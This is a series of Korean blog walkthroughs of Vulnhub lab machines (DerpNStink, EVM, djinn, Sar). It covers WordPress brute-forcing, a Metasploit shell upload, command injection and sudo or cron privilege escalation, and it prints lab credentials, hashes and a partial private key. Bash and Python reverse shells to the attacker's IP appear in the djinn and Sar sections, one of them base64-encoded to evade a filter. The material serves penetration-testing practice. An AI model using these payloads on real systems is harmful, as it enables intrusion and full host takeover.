+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky      | *9B776AFB479B31E8047026F1185E952DD1E530CB |
| phpmyadmin       | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
+------------------+-------------------------------------------+
7 rows in set (0.00 sec)

 

unclestinky 유저 비밀번호 복호화 하기 전에 어떤 해시 인지 파악한다

 

# credentials

stinky:wedgie57

SSH 접속 해보겠습니다

비밀번호 로그인은 안되고 공개키 방식으로 로그인만 가능합니다 그렇다면 풀지못한 숙제 ftp로 갑니다

 

 

Privilege Escalaion

file에 ssh 디렉터리에서 장난을 쳐놨군요,, 쨋든 모든 파일을 가져왔습니다

 

└─$ cat derpissues.txt 
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it?
12:07 stinky: yeah. did you need a password reset?
12:07 mrderp: I think i accidently deleted my account
12:07 mrderp: i just need to logon once to make a change
12:07 stinky: im gonna packet capture so we can figure out whats going on
12:07 mrderp: that seems a bit overkill, but wtv
12:08 stinky: commence the sniffer!!!!
12:08 mrderp: -_-
12:10 stinky: fine derp, i think i fixed it for you though. cany you try to login?
12:11 mrderp: awesome it works!
12:12 stinky: we really are the best sysadmins #team
12:13 mrderp: i guess we are...
12:15 mrderp: alright I made the changes, feel free to decomission my account
12:20 stinky: done! yay

# private key
└─$ cat key.txt 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwSaN1OE76mjt64fOpAbKnFyikjz4yV8qYUxki+MjiRPqtDo4
2xba3Oo78y82svuAHBm6YScUos8dHUCTMLA+ogsmoDaJFghZEtQXugP8flgSk9cO
...
...
...
a4Id4FlCiJAXl3/ayyrUghuWWA3jMW3JgZdMyhU3OV+wyZz25S8o
-----END RSA PRIVATE KEY-----

└─$ chmod 600 key.txt

└─$ ssh -i key.txt stinky@192.168.45.206

pcap 파일 발견 -> 대상 호스트에서 python을 이용하여 웹서버를 열어서 공격자 칼리로 파일을 전송

stinky@DeRPnStiNK:~/Documents$ python3 -m http.server 1111
Serving HTTP on 0.0.0.0 port 1111 ...
192.168.45.219 - - [12/Jul/2024 08:07:37] "GET /derpissues.pcap HTTP/1.1" 200 


└─$ wireshark derpissues.pcap

/weblog/wp-login.php에서 mrderp 유저로 로그인하는 패킷을 확인한 결과 계정 정보를 획득할 수 있었습니다

 

# Credentials

mrderp:derpderpderpderpderpderpderp

mrderp의 홈디렉터리에는 sudo에서 설정된 바이너리가 없다 

/bin/bash 바이너리를 실행하는 스크립트를 만들어 실행하여 관리자 권한을 획득 할 수 있게 진행한다

 

 

mrderp@DeRPnStiNK:~$ mkdir binaries; cd binaries
mrderp@DeRPnStiNK:~/binaries$ echo '/bin/bash' > derpy.sh; chmod +x derpy.sh
mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh 
root@DeRPnStiNK:~/binaries# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
DeRPnStiNK
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 08:00:27:11:4d:a8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.206/24 brd 192.168.45.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe11:4da8/64 scope link 
       valid_lft forever preferred_lft forever

 

root@DeRPnStiNK:/root/Desktop# ls
flag.txt
root@DeRPnStiNK:/root/Desktop# cat flag.txt 
flag4(.....)

Congrats on rooting my first VulnOS!

Hit me up on twitter and let me know your thoughts!

@securekomodo

중간에 플래그를 계속 놓쳣네요,,,파일 플래그 형식을 아니깐 하나씩 찾아봅시다

 

# flag1
root@DeRPnStiNK:~# grep -r 'flag1' /var/www/html 2> /dev/null
/var/www/html/index.html:<--flag1(52E37291AEDF6A46D...F0E008CBA09D6E9166) -->

# flag2
flag2(a7d355b26bda6b...44407f1dc07e51e6)

# flag3
root@DeRPnStiNK:/# grep -r 'flag' /home 2> /dev/null 
/home/stinky/Desktop/flag.txt:flag3(07f62b02.....1847a11e11d6d5a7ecb)

# flag4
/root/Desktop/flag.txt:flag4(49dca65f362fee4.....589c52e4e66bf4aedda715fdd)

wordpress를 unclestinky 유저로 로그인하면 flag2가 뜨네요!

 

 

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Tommy Boy Walkthrough  (4) 2024.07.17
[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16
[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Sar Walkthrough  (0) 2024.07.09

 

https://www.vulnhub.com/entry/evm-1,391/

 

EVM: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

1. Discovery

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.174
Host is up (0.00027s latency).
MAC Address: 08:00:27:C6:8A:38 (Oracle VirtualBox virtual NIC)

 

2. Port Scanning

All port scan

 

 

3. SMB

check null Session and anonymous session

 

using enum4linux

i found username

 

not interesting

 

 

4. HTTP(WEB)

apache2 default page인 It work가 뜨네요,

page source,

robots.txt은 딱히 흥미로운것이 없는데 웹사이트 중간에 /wordpress로 오면 취약한 웹앱을 찾을 수 있다,.. 라고합니다

워드프레스가 구성되어있을 것으로 예상 됩니다

유저 정보를 획득했고, 나머지 별다른 특이점이 없어 취약점 분석으로 넘어가보겠습니다

# wordpress username

c0rrupt3d_brain

 

 

Vulnerability

wpscan 툴을 이용하여 워드프레스에 어떤 취약점이 존재하는지 파악합니다

└─$ wpscan --url http://192.168.45.174/wordpress/ --enumerate

c0rrupt3d_brain 유저를 이용하여 비밀번호 브루트포싱 공격을 진행해봅니다

 

└─$ wpscan --url http://192.168.45.174/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

 

하나 찾았습니다!!

# wordpress credentials

c0rrupt3d_brain:24992499

 

 

Exploitation

웹페이지의 대부분이 라우트가 안되서 접속이 안되기 때문에 metasploit 을 이용하여 익스플로잇을 진행합니다

 

msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
                                                                                                                                                             
[*] Started reverse TCP handler on 192.168.45.219:4444 
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/PlEBCILsug/KmIUSyQktT.php...
[*] Sending stage (39927 bytes) to 192.168.45.174
[+] Deleted KmIUSyQktT.php
[+] Deleted PlEBCILsug.php
[+] Deleted ../PlEBCILsug
[*] Meterpreter session 2 opened (192.168.45.219:4444 -> 192.168.45.174:37076) at 2024-07-12 17:36:23 +0900

meterpreter > shell
Process 2505 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
id; hostname; ip a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu-extermely-vulnerable-m4ch1ine
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:c6:8a:38 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.174/24 brd 192.168.45.255 scope global enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec6:8a38/64 scope link 
       valid_lft forever preferred_lft forever
3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
    link/ether 52:54:00:c5:7d:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
       valid_lft forever preferred_lft forever
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000
    link/ether 52:54:00:c5:7d:1b brd ff:ff:ff:ff:ff:ff

대상 호스트에 초기 침투 완료

 

wp-config.php 파일을 확보하여 데이터베이스는 장악을 완료했습니다

 

 

Privilege Escalation

# credentials
root:willy26

 

 

쉬...쉽네요..ㅎ

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] RickdiculouslyEasy Walkthrough  (1) 2024.07.16
[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15
[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08

https://www.vulnhub.com/entry/djinn-1,397/

 

djinn: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

 

└─$ sudo nmap -sn 192.168.45.0/24                                               

Nmap scan report for 192.168.45.195
Host is up (0.00035s latency).
MAC Address: 08:00:27:D2:44:F1 (Oracle VirtualBox virtual NIC)

 

SSH는 필터가 되어있네요

 

FTP

anonymous 로그인이 가능한 것으로 보입니다

cme(crackmapexec) 를 이용해서 anonymous 로그인이 되는지 확인이 가능합니다

모든 파일들을 가져와서 한번 확인해봅니다

# credentials

nitu:81299

계정 정보와 1337 포트에서 게임을 하기 위해서 셋팅을 했다고합니다

 

 

1337 Port

1000개를 풀면 선을 준다고하네요 일단 7331이 http 였으니 그거부터 확인해봅니다

 

HTTP

mzfr

bootstrap

page source - X 

robots.txt

 

 

Vulnerability

gobuster dirb nikto 툴을 이용해봅니다

wordlist를 더 키워서 진행해보겠습니다

/wish

/genie

page source는 임팩트가 없네요

뭔가 execute 할 수 있는 것이 있습니다 아무 명령어나 한번 쳐보겠습니다

/genie로 리디렉션되었지만, 특이한 점은 주소창에 whoami 명령어에 대한 결과값이 나왔습니다. RCE가 가능한 페이지로군요

개념 증명을 위해서 id 명령어로 한번 더 시도해봤습니다

 

Exploitation

RCE가 가능한 페이지에서 바로 리버스쉘을 획득하기 위해 netcat이 있는지 확인해봅니다

nc -v 2>&1

리버스쉘을 획득하기 위해서 페이로드를 날렸는데

이러한 문자가 떳습니다. 이리저리 확인해보니 뭔가 문자열에 대해서 필터링을 하고 있는듯하네요

 

URL 인코딩 또한 해보니 실패하여서 다른 인코딩 방법을 찾아봤습니다

유니코드나 다른 방법보단 그냥 쉽게 base64으로 진행해보겠습니다

 

뭔가 나쁘지 않은 것 같죠?? 그럼 base64로 인코딩 한 것을 디코딩하고, 그 디코딩 된것을 기반으로 리버스쉘을 획득하면 되겠군요

echo 'L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIxOS85OTk5IDA+JjEK' | base64 --decode | bash

이렇게 페이로드를 날리면 될듯합니다

리버스쉘을 획득하여 대상 호스트로 초기 침투에 성공했습니다

 

Post-Exploitation

다양한 문자열에 대해서 필터링을 하고 있엇네요 그리고 .dev 디렉터리에 있는 creds.txt

# credentials
nitish:p4ssw0rdStr3r0n9

그리고 ssh로 접근하려했는데 filtered 상태였죠??

포트 노킹이 가능할 듯합니다

공격자 PC에서  포트 노킹을 시도합니다

이제 열렸네요!!

 

 

Privilege Escalation

user.txt의 플래그 값입니다

 

이제 권한 상승을 해야겠죠

nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie

sam 유저의 권한으로 된 바이너리 입니다

좀....난감하네

strings 명령어를 통해서 보면 약간의 단서를 얻을 수 있는데 

nitish@djinn:~$ strings /usr/bin/genie
...
genie.py                
argparse                  
SUPPRESS                     
shell                    
default                     
allowed                       
whoami                          
system                   
substr                        
string                         
parser                       
my man!!                                                                      
main                     
__import__              
exec                                  
/bin/sh
action
valid
--shell
print
lower
genie
wish
__test__
root
__name__
__main__
help
exit
--exec
bash
args
--god
-cmd
/bin/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
...

이 부분입니다 뭔가 조합을 해봅시다

 

됬네요!! sam 유저로 접근 성공했습니다

 

$ sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

뭔가를 맞추거나 찾아야하는 것 같습니다... 이 ctf 재밌게 만들었네요 sam의 홈디렉터리로 가서 단서가 있는지 확인해봅니다

$ pwd
/home/sam
$ ls -al
total 36
drwxr-x--- 4 sam  sam  4096 Nov 14  2019 .
drwxr-xr-x 4 root root 4096 Nov 14  2019 ..
-rw------- 1 root root  417 Nov 14  2019 .bash_history
-rw-r--r-- 1 root root  220 Oct 20  2019 .bash_logout
-rw-r--r-- 1 sam  sam  3771 Oct 20  2019 .bashrc
drwx------ 2 sam  sam  4096 Nov 11  2019 .cache
drwx------ 3 sam  sam  4096 Oct 20  2019 .gnupg
-rw-r--r-- 1 sam  sam   807 Oct 20  2019 .profile
-rw-r--r-- 1 sam  sam  1749 Nov  7  2019 .pyc
-rw-r--r-- 1 sam  sam     0 Nov  7  2019 .sudo_as_admin_successful
$ strings .pyc                                                                                                                                               
getuser(                                                                                                                                                     
system(                                                                                                                                                      
randintc                                                                                                                                                     
Working on it!! (
/home/mzfr/scripts/exp.pyt
naughtyboi
Choose a number between 1 to 100: s
Enter your number: s
/bin/shs
Better Luck next time(
inputR
numt
/home/mzfr/scripts/exp.pyt
guessit
Enter the full of the file to read: s!
User %s is not allowed to read %s(
usert
path(
/home/mzfr/scripts/exp.pyt
readfiles
What do you want to do ?s
1 - Be naughtys
2 - Guess the numbers
3 - Read some damn filess
4 - Works
Enter your choice: (
intR
choice(
/home/mzfr/scripts/exp.pyt
options
work your ass off!!s"
Do something better with your life(
/home/mzfr/scripts/exp.pyt
main'
__main__N(
getpassR
randomR
__name__(
/home/mzfr/scripts/exp.pyt
<module>

컴파일된 pyc 파일을 디컴파일해서  어떤 코드로 만들었는지 확인해야 겠네요,,ㅎ 리버싱하는 느낌이에요

 

# pyc 파일을 디컴파일하는 uncompyle6 install

└─$ pip install uncompyle6

 

대상 호스트에서 웹 서버를 열어 줍니다

$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...


# kali
└─$ wget http://192.168.45.195:1234/.pyc                                                  
--2024-07-11 18:32:47--  http://192.168.45.195:1234/.pyc
Connecting to 192.168.45.195:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1749 (1.7K) [application/octet-stream]
Saving to: ‘.pyc’

.pyc                                    100%[============================================================================>]   1.71K  --.-KB/s    in 0s      

2024-07-11 18:32:47 (200 MB/s) - ‘.pyc’ saved [1749/1749]

 

 

└─$ uncompyle6 .pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 22:05:18
from getpass import getuser
from os import system
from random import randint
                                       
def naughtyboi():
    print 'Working on it!! '       
                                       
                                                                              
def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'
                                       

def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)

s == num 이네요 그렇다면~~~

 

네.. 새롭게 하나 배웠습니다!!

 

root 플래그 까지 획득 완료 했습니다!!

 

정말 방탈출 같은 게임이었네요,,재밌었습니다

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15
[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07

https://www.vulnhub.com/entry/sar-1,425/

 

Sar: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24                                               
Nmap scan report for 192.168.45.239
Host is up (0.00018s latency).
MAC Address: 08:00:27:AA:E1:85 (Oracle VirtualBox virtual NIC)

 

HTTP

Apache2 기본 웹 페이지 입니다.

페이지 소스는 별 다른 특이사항 없습니다

/robots.txt  -> sar2HTML로 접속해봅니다

nikto, dirb, gobuster 툴을 이용한 디렉터리 브루트포싱 및 잠재적 웹 취약점 분석

획득한 정보로는

/robots.txt 에 노출되어있는 엔드포인트

sar2HTML v 3.2.1 를 사용하고 있다는 점

/phpinfo.php에 OS에 대한 정보가 노출되어있다는 점

 

Vulnerability

혹시 몰라서 디렉터리 경로를 추가해 브루트포싱을 진행했지만 별다른 특이사항 없음

URL_BASE: http://192.168.45.239/sar2HTML/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.45.239/sar2HTML/ ----
+ http://192.168.45.239/sar2HTML/index.php (CODE:200|SIZE:4812)                                                                                             
+ http://192.168.45.239/sar2HTML/LICENSE (CODE:200|SIZE:35149)

sar2html 버전을 활용하기 위해 searchsploit 툴을 이용해서 취약점 진단 실시

 

3.2.1 버전은 RCE가 가능한 것으로 보인다

 

/index.php에 plot라는 파라미터값이 있으며 원격 코드 실행을 하기 위해서 ; 을 붙여서 익스플로잇을 한다

정상적으로 id 명령어가 실행

 

/etc/passwd 파일까지 확인이 가능했다.

 

Exploitation

RCE 취약점으로 리버스쉘을 획득하기 위해서 다양한 방법이 있겠지만 이번에는 대상호스트에 python이 있는지 확인해본다

python3가 실행이 가능한 것으로 나온다

netcat을 이용해 리버스쉘 리스닝을 준비한다

└─$ nc -nlvp 9999         
listening on [any] 9999 ...


# python3 revseshell payload
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.45.219",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'

정상적으로 대상호스트로 초기 침투에 성공

 

Privilege Escalation

user.txt 플래그 값이네요

어떤 스크립트 파일을 찾았습니다

/tmp 디렉터리에는 아무 파일도 없는데요

 

write.sh 파일에서 악성 리버스쉘 페이로드를 삽입한 후 finally.sh를 실행 시키는 계획을 세우기 전에 저 파일이 어디선가 실행이 될텐데 가장 유력한 것은 cron 입니다

5분 간격으로 관리자 권한으로 finally.sh를 실행시키고 있네요

 

권한 상승을 하기 위한 로직은 이렇게 되겠네요

1. 5분 마다 관리자 권한으로 finally.sh를 실행

2. finally.sh는 write.sh를 실행시킴

3. finallly.sh는 쓰기 권한이 없지만 write.sh는 권한이 있음

4. write.sh에 악성 페이로드 삽입 후 5분 대기 -> 관리자 권한 획득

 

저는 php-reverse-shell.php 파일을 오랜만에 이용해보겠습니다

└─$ mv php-reverse-shell.php exploit.php   
                                                                                                                                                             
└─$ python3 -m http.server 1234         
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
192.168.45.239 - - [09/Jul/2024 18:23:11] "GET /exploit.php HTTP/1.1" 200 -

echo 'php ./exploit.php' >> write.sh

www-data@sar:/var/www/html$ cat write.sh 
#!/bin/sh

touch /tmp/gateway
php ./exploit.php


# root reverse shell listening
└─$ nc -nlvp 3333
listening on [any] 3333 ...

5분동안 대기해봅시다!!

 

사실 대상호스트로 파일을 보내면 아티펙트가 남아서 가용성이 떨어질 수 있어 그렇게 선호하는 방법은 아니지만 다양한 방법으로 페이로드를 실행 시키고 하는 연습을 하고있으니 괜찮다고 생각..합니다

 

다시,,,

리버스쉘 페이로드를 대상호스트로 보낸 후에 5분이 지나도 리버스쉘이 안 넘겨져서 그냥 실행을 해보았다.

 

이러한 에러들이 발생하긴했는데,

그래도 정상적으로 관리자 권한을 가진 리버스쉘을 획득했습니다.

 

root.txt 플래그 값입니다.

'Vulnhub' 카테고리의 다른 글

[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] djinn Walkthrough  (0) 2024.07.11
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05

+ Recent posts